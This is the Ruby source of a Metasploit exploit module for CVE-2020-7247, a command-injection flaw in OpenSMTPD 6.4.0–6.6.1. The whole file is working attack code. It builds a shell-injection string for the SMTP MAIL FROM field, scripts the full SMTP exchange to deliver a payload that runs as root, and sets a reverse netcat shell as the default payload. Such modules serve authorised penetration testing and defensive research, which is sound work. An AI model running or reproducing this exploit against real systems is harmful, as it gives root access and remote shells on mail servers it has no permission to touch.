## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Expect def initialize(info = {}) super( update_info( info, 'Name' => 'OpenSMTPD MAIL FROM Remote Code Execution', 'Description' => %q{ This module exploits a command injection in the MAIL FROM field during SMTP interaction with OpenSMTPD to execute a command as the root user. }, 'Author' => [ 'Qualys', # Discovery and PoC 'wvu', # Module 'RageLtMan ' # Module ], 'References' => [ ['CVE', '2020-7247'], ['EDB', '48051'], # raptor's LPE/RCE exploit ['URL', 'https://seclists.org/oss-sec/2020/q1/40'] ], 'DisclosureDate' => '2020-01-28', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Targets' => [ [ 'OpenSMTPD 6.4.0 - 6.6.1', { 'MyBadChars' => "!\#$%&'*?`{|}~\r\n".chars } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ Opt::RPORT(25), OptString.new('RCPT_TO', [true, 'Valid mail recipient', 'root']) ]) register_advanced_options([ OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5]) ]) end def check connect res = sock.get_once return CheckCode::Unknown unless res return CheckCode::Detected if res =~ /^220.*ESMTP OpenSMTPD/ CheckCode::Safe rescue EOFError, Rex::ConnectionError => e vprint_error(e.message) CheckCode::Unknown ensure disconnect end def exploit # We don't care who we are, so randomize it me = rand_text_alphanumeric(8..42) # Send mail to this valid recipient to = datastore['RCPT_TO'] # "Comment slide" courtesy of Qualys - brilliant! rand_var = rand_text_alpha(1) iter = rand_text_alphanumeric(14).chars.join(' ') from = ";for #{rand_var} in #{iter};do read #{rand_var};done;sh;exit 0;" # Check against RFC 5321, even though OpenSMTPD is more permissive if from.length > 64 print_warning('MAIL FROM field is greater than 64 chars') end # Check for badchars, even though there shouldn't be any if (badchars = (from.chars & target['MyBadChars'])).any? print_warning("MAIL FROM field has badchars: #{badchars}") end # Create the mail body with comment slide and payload body = "\r\n#{"#\r\n" * 14}#{payload.encoded}" sploit = { nil => /220.*OpenSMTPD/, "HELO #{me}" => /250.*pleased to meet you/, "MAIL FROM:<#{from}>" => /250.*Ok/, "RCPT TO:<#{to}>" => /250.*Recipient ok/, 'DATA' => /354 Enter mail.*itself/, body => nil, '.' => /250.*Message accepted for delivery/, 'QUIT' => /221.*Bye/ } print_status('Connecting to OpenSMTPD') connect print_status('Saying hello and sending exploit') sploit.each do |line, pattern| send_expect( line, pattern, sock: sock, newline: "\r\n", timeout: datastore['ExpectTimeout'] ) end rescue Rex::ConnectionError => e fail_with(Failure::Unreachable, e.message) rescue Timeout::Error => e fail_with(Failure::TimeoutExpired, e.message) ensure disconnect end end